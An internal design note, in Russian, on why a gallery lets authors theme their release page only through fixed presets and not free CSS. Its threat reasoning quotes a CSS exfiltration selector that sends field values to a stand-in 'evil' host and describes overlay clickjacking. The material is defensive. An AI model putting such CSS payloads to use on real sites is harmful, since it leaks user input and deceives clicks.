Авторское оформление страницы издания галереи — тема как пресеты (AD-1695)
Статус: срез сделан — см. § 9. Родитель — идея основателя: страницу
отдельной модели можно оформить в СВОЁМ визуальном стиле (пример — модель
Vulpes в аниме-стиле, вся страница в том же стиле). Реализация — раздел
«Авторское оформление страницы издания — тема (AD-1695)» в
docs/dev/design-gallery.md; здесь — вопрос, который решался, и почему
выбор пал именно на эту механику.
1. Вопрос
Можно ли дать автору издания оформить СВОЮ страницу галереи без того, чтобы
это превратилось в дыру безопасности или в способ спрятать функциональный
элемент (кнопку скачивания, лицензию)?
2. Почему НЕ произвольный CSS и НЕ произвольный цвет
CSP приложения несёт style-src с 'unsafe-inline' (замер шире strict CSP на
script-src — .claude/rules/frontend.md). Свободный CSS от пользователя на
такой политике даёт:
- дефейс — любой селектор, включая чужие компоненты (топбар, тосты);
- эксфильтрацию через
url()— атрибутивный CSS-селектор (input[value^= "a"] { background: url(https://evil/?a) }) умеет читать значения полей
посимвольным перебором без единой строки JS; - подмену UI поверх функциональных элементов —
position: fixedповерх
кнопки «Скачать» с прозрачным фоном превращает клик в клик по чужому
элементу (classic clickjacking, здесь — без iframe).
Замер по шести изученным UGC-площадкам, позволяющим пользователю оформить
СВОЮ страницу (профили/визитки/портфолио — тот же класс поверхности, что
карточка издания): Linktree, Carrd, Notion (публичная страница), itch.io
(страница игры), Behance, GitHub Pages (через Jekyll-тему). Из шести только
Carrd пускает пользователя к свободному CSS без ручного модераторского
одобрения — и её собственные домены массово фигурируют в фишинговых кампаниях
именно из-за этого (открытая генерация страниц с произвольным видом на
доверенном домене). Остальные пять — закрытое перечисление пресетов/тем,
редактируемых через панель, не через код. Это и есть механика, применённая
здесь.
3. Почему не настройка админки, а поле издания
Тема живёт в DesignRelease.theme, не в отдельной таблице/флаге раздела:
авторство карточки подключает параллельный тикет (AD-1699, «владелец
издания», публикация не-администратором), и тема ОБЯЗАНА пережить переход от
«админ выкладывает» к «автор выкладывает» без переделки схемы — механизм
рассчитан на то, что владельцем поля скоро станет не только require_admin.
4. Механика — закрытое перечисление, не свободный ввод
DesignReleaseTheme(str, Enum): platform (дефолт), ember, blueprint,
night. Приём значения — С ЯВНОЙ проверкой членства в перечислении, отказ на
чужое значение (400, машинный код) — см. gallery_admin._parse_theme.
Расширение набора пресетов в будущем — аддитивное значение enum, а не смена
механики.
5. Токены, не второй словарь имён
AD-1696 (влит непосредственно перед этим тикетом) уже свёл поверхности
skyforge.css к слою семантических токенов ролей (--text/--muted/
--border/--primary/--surface/…). Пресет темы страницы издания
переиспользует ИХ, в скоупе [data-gallery-theme="<пресет>"] — заводить
параллельный набор --gt-* означало бы дублировать роли, которые уже
существуют, ровно тот дубль, который канон dev-approach.md называет
ревью-флагом.
color-mix() рассмотрен и НЕ применён. Эталонный макет комплекта VULPES
25 (три темы — Ember/Blueprint/Night, по пять переменных на тему: ink/orange/
paper/muted/line) берёт производные оттенки через color-mix(in srgb, ...)
от акцента. В skyforge.css этот приём сейчас не встречается вовсе, а
контраст пресетов ОБЯЗАН быть посчитан из значений, зафиксированных в
тексте листа (мера соразмерна измеряемому — .claude/rules/testing.md):
color-mix() резолвится браузером в рантайме, и тест либо не увидел бы
фактический цвет вовсе, либо дублировал бы арифметику смешения краски рядом
с тестом. Производные значения (--primary-2, «яркая» вариация акцента для
hover/focus-ring) поэтому — свои литералы на пресет, подобранные так, чтобы
пройти контраст WCAG 2.2 наравне с основными.
6. Неприкосновенный UI — как защищён
Кнопка скачивания, таблица файлов, лицензия и ссылки на файлы прежних
редакций обёрнуты одним data-gallery-protected — внутри него
gallery_theme.css пере-объявляет ВСЕ потребляемые темой custom properties
обратно в платформенные литералы. Это работает надёжно ровно потому, что
платформа сейчас закреплена на теме dark без переключателя (AD-422,
web/static/js/skyforge/app.js): защитный блок ссылается на конкретные hex,
а не на var(--x) вышестоящего :root (косвенность здесь не спасает —
custom properties резолвятся по ближайшему объявлению НА ПУТИ К ЭЛЕМЕНТУ, а
не «откуда угодно из :root», поэтому alias вида --chrome-text: var(--text)
внутри защищённого блока всё равно подхватил бы локально переопределённый
--text). Если платформа когда-нибудь вернёт переключатель тёмная/светлая —
защитный блок придётся развести по [data-theme="light"] тем же приёмом, что
раньше использовался в skyforge.css до AD-1696.
Крошки, шапка авторизации и тосты защиты не потребовали структурно: они не
потомки контейнера темы (топбар/тосты рендерятся base.html вне {% block
content %}) либо красят себя СВОИМ токеном, которого тема не трогает
(.breadcrumbs → --breadcrumbs-text, объявлен AD-1696).
7. Находки независимого арх/тест-ревью (MR !1389) — исправлены до мержа
Первый проход MR получил один MAJOR от арх-ревью и три MAJOR от тест-ревью
(все — на реализации, а не на постановке); все четыре — доказаны мутацией с
изначально зелёным прогоном, все четыре исправлены в той же ветке:
- Голый
[data-gallery-theme]ловил и дефолт. Правило акцентного
бейджа версии (.meta .badge) сперва селектило голый атрибут-контейнер —
а у платформенной темы (дефолт) он тоже стоит, шаблон рендерит его
ВСЕГДА. Правило понижало контраст бейджа с 8.06 (платформенные
--status-info-*) до 3.32 на КАЖДОЙ существующей странице. Чинится
перечислением конкретных значений пресетов в селекторе; та же логика
закрыта тестом (TestPlatformThemeIsIdentityMapping). - Матрица контраста не мерила фон, на котором реально сидит текст.
.card(панели описания/файлов) красится--card-gradient-from/
--card-gradient-to, а НЕ--surface— эти два токена изначально не
переопределялись пресетом, поэтому контраст-тест мерил--textпротив
--surface, а на экране текст сидел на непеределанном платформенном
фоне. Чинится переопределением обоих токенов (равными--surface
пресета — плоская панель без альфа-градиента, разбор — докстринг
gallery_theme.css). - Матрица покрывала пять пар из десяти переопределяемых ролей.
--surface-2/--surface-3/--primary-2не входили ни в одну пару —
их можно было испортить без единого красного теста. Чинится реестром
_TOKEN_USAGE(пара «роль → цитата РЕАЛЬНОГО объявления в CSS, где эта
роль используется») плюс тестом полноты: каждый токен, который
переопределяет хотя бы один пресет, обязан встретиться в реестре. - Проверка вложенности защищённого блока смотрела на порядок подстрок,
не на структуру DOM.text.index(...)доказывает порядок, а перенос
закрывающего</div>РАНЬШЕ (HTML остаётся сбалансирован) этот порядок
не меняет — 10/10 тестов оставались зелёными. Чинится разбором дерева
тегов (_AncestryProbe, стандартныйhtml.parser.HTMLParser). - Страж «функциональный UI не потребляет токены» был чёрным списком.
Чёрный список запрещённых подстрок дырявый по построению — он не знает
имён атрибутов, которых ещё нет в списке (data-gallery-files-empty,
.passport-table,.btn-primary). Чинится белым списком: любой
селектор файла, которого нет в explicit-перечислении легальных, —
находка.
8. Второй проход независимого ревью — тот же класс дефекта, на слой ниже
AD-1699 («владелец издания и «Мои публикации»») влился в develop, пока этот
MR ждал ревью, и второй проход застал уже смерженную ветку. Найдено четыре
находки — три MAJOR, каждая продолжает класс дефекта из § 7 на следующий
уровень абстракции, и одна пара «показ ↔ хранение», разомкнутая слиянием
двух веток:
- Тот же голый-атрибут-дефект (§ 7 п.1), перенесённый с бейджа на фон
защищённого блока.[data-gallery-theme] [data-gallery-protected]
(селектор СБРОСА неприкосновенного UI) остался голым, хотя правило бейджа
рядом уже было исправлено — правки одного класса в одном файле не
гарантируют друг друга. Чинится тем же приёмом: перечислением трёх
конкретных пресетов. - Страж голого атрибута (§ 7 п.1 тест) ловил только ТОЧНОЕ строковое
совпадение с"[data-gallery-theme]"и не видел его же в роли ПЕРВОГО
КОМПАУНДА потомкового селектора — то есть не поймал находку (1) сам.
Переписан на регэксп «первый компаунд ЛЮБОГО селектора файла — атрибут с
конкретным значением пресета» (_CONCRETE_THEME_COMPOUND_RE): он
проверяет ИМЕННО ту часть селектора, что решает, какой пресет матчит
правило, а не то, что стоит правее. - Белый список СЕЛЕКТОРОВ (§ 7 п.5) не покрывал ДЕКЛАРАЦИИ внутри
разрешённого правила — следующий слой того же класса. Правило с
легальным селектором иdisplay:noneвнутри прячет ВЕСЬ неприкосновенный
UI, и белый список селекторов такое правило пропускает: сам селектор ни в
чём не виноват. Мутация ревью (display:noneвнутри
[data-gallery-protected]) дала 45 из 45 зелёных. Чинится ВТОРЫМ белым
списком — на этот раз для СВОЙСТВ объявлений
(_ALLOWED_DECLARATION_PROPERTIES—color/background/border-color
плюс любые custom properties;display/visibility/opacity/
font-size/position/z-index/content/transformне входят и не
могут быть добавлены без отдельного пересмотра списка). - Пара «показ ↔ хранение», разомкнутая слиянием. AD-1699 добавил ТРЕТЬЮ
поверхность правки издания (PUT /api/my/gallery/{id}, владелец) и
MCP-инструментupdate_gallery_release— оба зовут ОБЩИЙ
ReleaseTextFields.apply_to, у которогоthemeбыла ОБЯЗАТЕЛЬНЫМ полем с
дефолтом"". У экрана владельца нет<select>темы (её задаёт только
админская форма), поэтому тело правки владельца НЕ несётthemeвовсе —
иapply_toтрактовала отсутствие поля как пустую строку, а пустую
строку как явный сброс на платформенную тему. Итог: ЛЮБАЯ правка описания
владельцем молча стирала пресет, выставленный админом, причём
serialize_owned_releaseещё и не отдавала поле в ответе — round-trip был
невозможен даже там, где поле можно было бы прислать обратно. Чинится
различением «поле отсутствует в теле» ("theme" in self.model_fields_set, pydantic заполняет это по факту присутствия ключа
при валидации/конструировании) от «поле прислано пустым»: первое — «не
менять», второе остаётся законным «сбросить на платформенную». Прогнано
по ВСЕМ вызывающимapply_to(админ create/update, владелец
create/update, оба MCP-инструмента) — регрессия воспроизведена и закрыта
тестом на каждой поверхности, где она была РЕАЛЬНО достижима (владелец,
REST и MCP); на админской и create-путях риска не было (тема уже
отправляется явно или уже на дефолте), но тест на симметрию добавлен и
туда.
9. Итог
Срез реализован тикетом AD-1695: поле модели, разворачивание enum в сторе,
приём значения формой с проверкой членства (400 на чужое), три пресета сверх
платформенного (Ember/Blueprint/Night), защита неприкосновенного UI по ДВУМ
осям — какие селекторы легальны и какие свойства легальны внутри них (§ 7
п.2, § 8 п.3), контраст WCAG 2.2 девяти пар для каждого пресета, выведенных
из реального использования токена в CSS, а не заданных руками (§ 7 п.3) —
числами, посчитанными из значений листа (tests/test_gallery_theme.py), и
поле, переживающее правку с ЛЮБОЙ из трёх поверхностей (админ, владелец,
MCP) без потери значения (§ 8 п.4). Что осталось ЗА рамками этого тикета и не
является техдолгом, а осознанной границей: (а) свой <select> темы на
экране владельца «Мои публикации» — поле уже принимает значение от этой
поверхности (REST/MCP), UI для него заводится отдельным тикетом; (б) светлая
тема платформы — поле и защитный блок написаны так, что появление
[data-theme="light"] потребует развести защитный блок на два (см. § 6), а
не переписывать механику.